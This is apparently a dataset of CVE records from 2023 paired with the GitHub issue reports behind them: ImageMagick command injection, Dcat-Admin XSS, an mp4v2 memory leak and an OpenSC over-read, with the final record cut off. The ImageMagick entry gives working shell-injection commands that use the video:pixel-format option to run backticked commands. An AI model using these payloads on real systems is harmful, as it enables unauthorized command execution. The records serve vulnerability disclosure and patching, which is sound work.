CVE-2023-34153 | 2023-05-30T22:15:11.143 | A vulnerability was found in ImageMagick. This security flaw causes a shell command injection vulnerability via video:vsync or video:pixel-format options in VIDEO encoding/decoding. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "secalert@redhat.com",
"tags": [
"Third Party Advisory"
],
"url": "https://access.redhat.com/security/cve/CVE-2023-34153"
},
{
"source": "secalert@redhat.com",
"tags": [
"Issue Tracking"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2210660"
},
{
"source": "secalert@redhat.com",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Vendor Advisory"
],
"url": "https://github.com/ImageMagick/ImageMagick/issues/6338"
},
{
"source": "secalert@redhat.com",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4UFQJCYJ23HWHNDOVKBHZQ7HCXXL6MM3/"
},
{
"source": "secalert@redhat.com",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/V2ZUHZXQ2C3JZYKPW4XHCMVVL467MA2V/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory"
],
"url": "https://access.redhat.com/security/cve/CVE-2023-34153"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2210660"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Vendor Advisory"
],
"url": "https://github.com/ImageMagick/ImageMagick/issues/6338"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4UFQJCYJ23HWHNDOVKBHZQ7HCXXL6MM3/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/V2ZUHZXQ2C3JZYKPW4XHCMVVL467MA2V/"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:*",
"matchCriteriaId": "D8F0FD9E-E120-4BAB-A5C9-776077B47603",
"versionEndExcluding": "7.1.1-11",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:fedoraproject:extra_packages_for_enterprise_linux:8.0:*:*:*:*:*:*:*",
"matchCriteriaId": "BB176AC3-3CDA-4DDA-9089-C67B2F73AA62",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:fedoraproject:fedora:37:*:*:*:*:*:*:*",
"matchCriteriaId": "E30D0E6F-4AE8-4284-8716-991DFA48CC5D",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:fedoraproject:fedora:38:*:*:*:*:*:*:*",
"matchCriteriaId": "CC559B26-5DFC-4B7A-A27C-B77DE755DFF9",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:redhat:enterprise_linux:6.0:*:*:*:*:*:*:*",
"matchCriteriaId": "2F6AB192-9D7D-4A9A-8995-E53A9DE9EAFC",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*",
"matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"77"
] | 77 | https://github.com/ImageMagick/ImageMagick/issues/6338 | [
"Exploit",
"Issue Tracking",
"Patch",
"Vendor Advisory"
] | github.com | [
"ImageMagick",
"ImageMagick"
] | ### ImageMagick version
7.1.0-1
### Operating system
Linux
### Operating system, version and so on
Any
### Description
In reviewing historical vulnerabilities in ImageMagick, I discovered a shell command injection vulnerability in encoding/decoding VIDEO files, which very much resembles CVE-2020-29599.
In commit cc4638d, extra options are supported in VIDEO decode delegate execution, and through later commits, ImageMagick supports user-defined options `video:vsync` and `video:pixel-format`, with their values concatenated into delegate command executed via `ExternalDelegateCommand`.
In `ExternalDelegateCommand`, the command string is sanitized with `SanitizeString`, scanned for illegal chars then `system()`. However, the illegal char set contains only `"&;<>|"`, not quot (see [link](https://github.com/ImageMagick/ImageMagick/blob/main/MagickCore/delegate.c#L443)). This is the same mistake as in sanitizing `-authenticate` parameter in PDF password support, but the common vulnerability in `ExternalDelegateCommand` did not get fixed.
### Steps to Reproduce
#### Trigger the vulnerability in VIDEO decoding
Given a normal video file, namely `test.mov`, the following demonstrates how command injection happens.
```bash
/data/home/fullwaywang/exp
➜ echo 'deadbeef' > test.txt
/data/home/fullwaywang/exp
➜ magick identify -define video:pixel-format='rgba"`cat test.txt > /tmp/leak.txt`"' test.mov >info.log
/data/home/fullwaywang/exp
➜ tail info.log
test.mov[891] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.320u 0:00.312
test.mov[892] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.310u 0:00.298
test.mov[893] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.290u 0:00.285
test.mov[894] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.280u 0:00.271
test.mov[895] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.260u 0:00.258
test.mov[896] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.250u 0:00.244
test.mov[897] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.230u 0:00.231
test.mov[898] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.220u 0:00.218
test.mov[899] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.210u 0:00.204
test.mov[900] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 445.5MiB 0.200u 0:00.191
/data/home/fullwaywang/exp
➜ cat /tmp/leak.txt
deadbeef
```
#### Trigger the vulnerability in VIDEO encoding
Given a normal image file, namely `smile.gif`, the following demonstrates how command injection happens.
```bash
/data/home/fullwaywang/exp
➜ magick convert -define video:pixel-format='rgba"`cat test.txt > /tmp/leak3.txt`"' smile.gif smile.mov
/data/home/fullwaywang/exp
➜ cat /tmp/leak3.txt
deadbeef
```
### Images
_No response_
### Reporter
fullwaywang | Shell command injection vulnerability via `video:vsync` or `video:pixel-format` options in VIDEO encoding/decoding. | https://api.github.com/repos/ImageMagick/ImageMagick/issues/6338/comments | 2 | 2023-05-17T08:50:05Z | 2024-01-23T11:25:13Z | https://github.com/ImageMagick/ImageMagick/issues/6338 | 1,713,432,787 | 6,338 | 5,213 |
CVE-2023-33736 | 2023-05-31T13:15:10.270 | A stored cross-site scripting (XSS) vulnerability in Dcat-Admin v2.1.3-beta allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the URL parameter. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/jqhph/dcat-admin/issues/2027"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/jqhph/dcat-admin/issues/2027"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:dcatadmin:dcat_admin:2.1.3:beta:*:*:*:*:*:*",
"matchCriteriaId": "EA07899B-5D17-4D06-8BFC-A8B19F70B994",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"79"
] | 79 | https://github.com/jqhph/dcat-admin/issues/2027 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"jqhph",
"dcat-admin"
] | - Laravel Version: 8.83.14
- PHP Version: 7.1
- Dcat Admin Version: 2.1.3-beta
### Description:
Dcat Admin Version: <= 2.1.3-beta have an Stored XSS vulnerability. Attackers can use the vulnerability to maintain permissions and steal credentials
### Steps To Reproduce:
We can change the logo or other image's file_url to trigger JS code injection. This feature applies to all versions of dcat-admin

When we submit a request to insert malicious code, refreshing the page triggers the effect

| Dcat-Admin Version<= 2.1.3-beta XSS Vulnerability | https://api.github.com/repos/jqhph/dcat-admin/issues/2027/comments | 2 | 2023-05-17T01:36:29Z | 2024-07-15T01:29:43Z | https://github.com/jqhph/dcat-admin/issues/2027 | 1,712,956,121 | 2,027 | 5,214 |
CVE-2023-33718 | 2023-05-31T19:15:26.997 | mp4v2 v2.1.3 was discovered to contain a memory leak via MP4File::ReadString() at mp4file_io.cpp | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/enzo1982/mp4v2/issues/37"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/enzo1982/mp4v2/issues/37"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:mp4v2_project:mp4v2:2.1.3:*:*:*:*:*:*:*",
"matchCriteriaId": "F0B6B69D-D184-4BAE-8622-AEDD9AB5E3F4",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"401"
] | 401 | https://github.com/enzo1982/mp4v2/issues/37 | [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] | github.com | [
"enzo1982",
"mp4v2"
] | I found a memory leak error in *mp4file_io.cpp:409* and *mp4file_io.cpp:354*; it seems that the *data* buffer allocated to store the string is not properly deallocated.
### Environment
OS: Ubuntu 18.04.6 LTS
Compiler: gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)
### Compilation
```
autoreconf -i
CC=gcc CXX=g++ CFLAGS='-fsanitize=address -g' CXXFLAGS='-fsanitize=address -g' ./configure
make -j32
```
### Command Line
```
./mp4info poc_1.mp4
```
```
./mp4info poc_2.mp4
```
### POC
[poc.zip](https://github.com/enzo1982/mp4v2/files/11471482/poc.zip)
### Report for POC_1
```
==6031==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 32 byte(s) in 1 object(s) allocated from:
#0 0x7fda4cd07b40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7fda4c6b94ac in mp4v2::impl::MP4Malloc(unsigned long) src/mp4util.h:63
#2 0x7fda4c745dd4 in mp4v2::impl::MP4File::ReadCountedString(unsigned char, bool, unsigned char) src/mp4file_io.cpp:409
#3 0x7fda4c74d451 in mp4v2::impl::MP4StringProperty::Read(mp4v2::impl::MP4File&, unsigned int) src/mp4property.cpp:436
#4 0x7fda4c709cc1 in mp4v2::impl::MP4Atom::ReadProperties(unsigned int, unsigned int) src/mp4atom.cpp:383
#5 0x7fda4c709056 in mp4v2::impl::MP4Atom::Read() src/mp4atom.cpp:237
#6 0x7fda4c708ab9 in mp4v2::impl::MP4Atom::ReadAtom(mp4v2::impl::MP4File&, mp4v2::impl::MP4Atom*) src/mp4atom.cpp:202
#7 0x7fda4c70a770 in mp4v2::impl::MP4Atom::ReadChildAtoms() src/mp4atom.cpp:435
#8 0x7fda4c70907b in mp4v2::impl::MP4Atom::Read() src/mp4atom.cpp:241
#9 0x7fda4c71a98f in mp4v2::impl::MP4File::ReadFromFile() src/mp4file.cpp:457
#10 0x7fda4c717417 in mp4v2::impl::MP4File::Read(char const*, MP4FileProvider_s const*, MP4IOCallbacks_s const*, void*) src/mp4file.cpp:101
#11 0x7fda4c6f33e6 in MP4ReadProvider src/mp4.cpp:105
#12 0x7fda4c6f3389 in MP4Read src/mp4.cpp:92
#13 0x7fda4c7493f8 in MP4FileInfo src/mp4info.cpp:621
#14 0x5618d819197d in main util/mp4info.cpp:77
#15 0x7fda4bbbec86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
SUMMARY: AddressSanitizer: 32 byte(s) leaked in 1 allocation(s).
```
### Report for POC_2
```
==6046==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 256 byte(s) in 1 object(s) allocated from:
#0 0x7f4ade7c5f30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30)
#1 0x7f4ade1737d9 in mp4v2::impl::MP4Realloc(void*, unsigned int) src/mp4util.h:87
#2 0x7f4ade203918 in mp4v2::impl::MP4File::ReadString() src/mp4file_io.cpp:354
#3 0x7f4ade20b562 in mp4v2::impl::MP4StringProperty::Read(mp4v2::impl::MP4File&, unsigned int) src/mp4property.cpp:443
#4 0x7f4ade1c7cc1 in mp4v2::impl::MP4Atom::ReadProperties(unsigned int, unsigned int) src/mp4atom.cpp:383
#5 0x7f4ade182132 in mp4v2::impl::MP4HdlrAtom::Read() src/atom_hdlr.cpp:79
#6 0x7f4ade1c6ab9 in mp4v2::impl::MP4Atom::ReadAtom(mp4v2::impl::MP4File&, mp4v2::impl::MP4Atom*) src/mp4atom.cpp:202
#7 0x7f4ade1c8770 in mp4v2::impl::MP4Atom::ReadChildAtoms() src/mp4atom.cpp:435
#8 0x7f4ade1c707b in mp4v2::impl::MP4Atom::Read() src/mp4atom.cpp:241
#9 0x7f4ade1c6ab9 in mp4v2::impl::MP4Atom::ReadAtom(mp4v2::impl::MP4File&, mp4v2::impl::MP4Atom*) src/mp4atom.cpp:202
#10 0x7f4ade1c8770 in mp4v2::impl::MP4Atom::ReadChildAtoms() src/mp4atom.cpp:435
#11 0x7f4ade1c707b in mp4v2::impl::MP4Atom::Read() src/mp4atom.cpp:241
#12 0x7f4ade1c6ab9 in mp4v2::impl::MP4Atom::ReadAtom(mp4v2::impl::MP4File&, mp4v2::impl::MP4Atom*) src/mp4atom.cpp:202
#13 0x7f4ade1c8770 in mp4v2::impl::MP4Atom::ReadChildAtoms() src/mp4atom.cpp:435
#14 0x7f4ade1c707b in mp4v2::impl::MP4Atom::Read() src/mp4atom.cpp:241
#15 0x7f4ade1c6ab9 in mp4v2::impl::MP4Atom::ReadAtom(mp4v2::impl::MP4File&, mp4v2::impl::MP4Atom*) src/mp4atom.cpp:202
#16 0x7f4ade1c8770 in mp4v2::impl::MP4Atom::ReadChildAtoms() src/mp4atom.cpp:435
#17 0x7f4ade1c707b in mp4v2::impl::MP4Atom::Read() src/mp4atom.cpp:241
#18 0x7f4ade1d898f in mp4v2::impl::MP4File::ReadFromFile() src/mp4file.cpp:457
#19 0x7f4ade1d5417 in mp4v2::impl::MP4File::Read(char const*, MP4FileProvider_s const*, MP4IOCallbacks_s const*, void*) src/mp4file.cpp:101
#20 0x7f4ade1b13e6 in MP4ReadProvider src/mp4.cpp:105
#21 0x7f4ade1b1389 in MP4Read src/mp4.cpp:92
#22 0x7f4ade2073f8 in MP4FileInfo src/mp4info.cpp:621
#23 0x55c425fe597d in main util/mp4info.cpp:77
#24 0x7f4add67cc86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
SUMMARY: AddressSanitizer: 256 byte(s) leaked in 1 allocation(s).
```
| Memory Leak in mp4file_io | https://api.github.com/repos/enzo1982/mp4v2/issues/37/comments | 1 | 2023-05-14T08:40:14Z | 2023-05-15T22:29:32Z | https://github.com/enzo1982/mp4v2/issues/37 | 1,708,864,792 | 37 | 5,215 |
CVE-2023-2977 | 2023-06-01T01:15:17.917 | A vulnerbility was found in OpenSC. This security flaw cause a buffer overrun vulnerability in pkcs15 cardos_have_verifyrc_package. The attacker can supply a smart card package with malformed ASN1 context. The cardos_have_verifyrc_package function scans the ASN1 buffer for 2 tags, where remaining length is wrongly caculated due to moved starting pointer. This leads to possible heap-based buffer oob read. In cases where ASAN is enabled while compiling this causes a crash. Further info leak or more damage is possible. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.2,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.2,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "secalert@redhat.com",
"tags": [
"Third Party Advisory"
],
"url": "https://access.redhat.com/security/cve/CVE-2023-2977"
},
{
"source": "secalert@redhat.com",
"tags": [
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2211088"
},
{
"source": "secalert@redhat.com",
"tags": [
"Issue Tracking",
"Patch"
],
"url": "https://github.com/OpenSC/OpenSC/issues/2785"
},
{
"source": "secalert@redhat.com",
"tags": [
"Patch"
],
"url": "https://github.com/OpenSC/OpenSC/pull/2787"
},
{
"source": "secalert@redhat.com",
"tags": null,
"url": "https://lists.debian.org/debian-lts-announce/2023/06/msg00025.html"
},
{
"source": "secalert@redhat.com",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/FJD4Q4AJSGE5UIJI7OUYZY4HGGCVYQNI/"
},
{
"source": "secalert@redhat.com",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/LAR54OV6EHA56B4XJF6RNPQ4HJ2ITU66/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory"
],
"url": "https://access.redhat.com/security/cve/CVE-2023-2977"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2211088"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking",
"Patch"
],
"url": "https://github.com/OpenSC/OpenSC/issues/2785"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Patch"
],
"url": "https://github.com/OpenSC/OpenSC/pull/2787"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://lists.debian.org/debian-lts-announce/2023/06/msg00025.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/FJD4Q4AJSGE5UIJI7OUYZY4HGGCVYQNI/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/LAR54OV6EHA56B4XJF6RNPQ4HJ2ITU66/"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:opensc_project:opensc:0.23.0:-:*:*:*:*:*:*",
"matchCriteriaId": "5359CB94-DE52-425E-AA8D-2792F953364F",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*",
"matchCriteriaId": "F4CFF558-3C47-480D-A2F0-BABF26042943",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*",
"matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"125"
] | 125 | https://github.com/OpenSC/OpenSC/issues/2785 | [
"Issue Tracking",
"Patch"
] | github.com | [
"OpenSC",
"OpenSC"
] | ### Problem Description
On reviewing historical CVE vulnerabilities, I found a possible recurring vulnerability as CVE-2021-42782, which was reported by oss-fuzz and fixed in commit 1252aca.
The newly found issue exists in pkcs15-init module. Like the original bug in libopensc, `cardos_have_verifyrc_package` in pkcs15-cardos.c scans an ans1 buffer for 2 tags. The pointer `p` is moved after each `sc_asn1_find_tag` invocation, which results in the miscalculation of the length of left bytes in buffer and hence reading beyond the end of the buffer.
### Proposed Resolution
Almost the same patch like 1252aca will do:
```diff
diff --git a/src/pkcs15init/pkcs15-cardos.c b/src/pkcs15init/pkcs15-cardos.c
index 9715cf39..f41f73c3 100644
--- a/src/pkcs15init/pkcs15-cardos.c
+++ b/src/pkcs15init/pkcs15-cardos.c
@@ -872,7 +872,7 @@ static int cardos_have_verifyrc_package(sc_card_t *card)
sc_apdu_t apdu;
u8 rbuf[SC_MAX_APDU_BUFFER_SIZE];
int r;
- const u8 *p = rbuf, *q;
+ const u8 *p = rbuf, *q, *pp;
size_t len, tlen = 0, ilen = 0;
sc_format_apdu(card, &apdu, SC_APDU_CASE_2_SHORT, 0xca, 0x01, 0x88);
@@ -888,13 +888,13 @@ static int cardos_have_verifyrc_package(sc_card_t *card)
return 0;
while (len != 0) {
- p = sc_asn1_find_tag(card->ctx, p, len, 0xe1, &tlen);
- if (p == NULL)
+ pp = sc_asn1_find_tag(card->ctx, p, len, 0xe1, &tlen);
+ if (pp == NULL)
return 0;
if (card->type == SC_CARD_TYPE_CARDOS_M4_3) {
/* the verifyRC package on CardOS 4.3B use Manufacturer ID 0x01 */
/* and Package Number 0x07 */
- q = sc_asn1_find_tag(card->ctx, p, tlen, 0x01, &ilen);
+ q = sc_asn1_find_tag(card->ctx, pp, tlen, 0x01, &ilen);
if (q == NULL || ilen != 4)
return 0;
if (q[0] == 0x07)
@@ -902,7 +902,7 @@ static int cardos_have_verifyrc_package(sc_card_t *card)
} else if (card->type == SC_CARD_TYPE_CARDOS_M4_4) {
/* the verifyRC package on CardOS 4.4 use Manufacturer ID 0x03 */
/* and Package Number 0x02 */
- q = sc_asn1_find_tag(card->ctx, p, tlen, 0x03, &ilen);
+ q = sc_asn1_find_tag(card->ctx, pp, tlen, 0x03, &ilen);
if (q == NULL || ilen != 4)
return 0;
if (q[0] == 0x02)
```
### Reference
https://www.opencve.io/cve/CVE-2021-42782
https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=29912 | Possible buffer overrun vulnerability in pkcs15 `cardos_have_verifyrc_package` | https://api.github.com/repos/OpenSC/OpenSC/issues/2785/comments | 3 | 2023-05-26T06:43:56Z | 2023-05-30T13:26:36Z | https://github.com/OpenSC/OpenSC/issues/2785 | 1,727,000,507 | 2,785 | 5,216 |
CVE-2023-30758 | 2023-06-01T02:15:09.847 | Cross-site scripting vulnerability in Pleasanter 1.3.38.1 and earlier allows a remote authenticated attacker to inject an arbitrary script. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "vultures@jpcert.or.jp",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/Implem/Implem.Pleasanter/issues/474"
},
{
"source": "vultures@jpcert.or.jp",
"tags": [
"Third Party Advisory"
],
"url": "https://jvn.jp/en/jp/JVN62111727/"
},
{
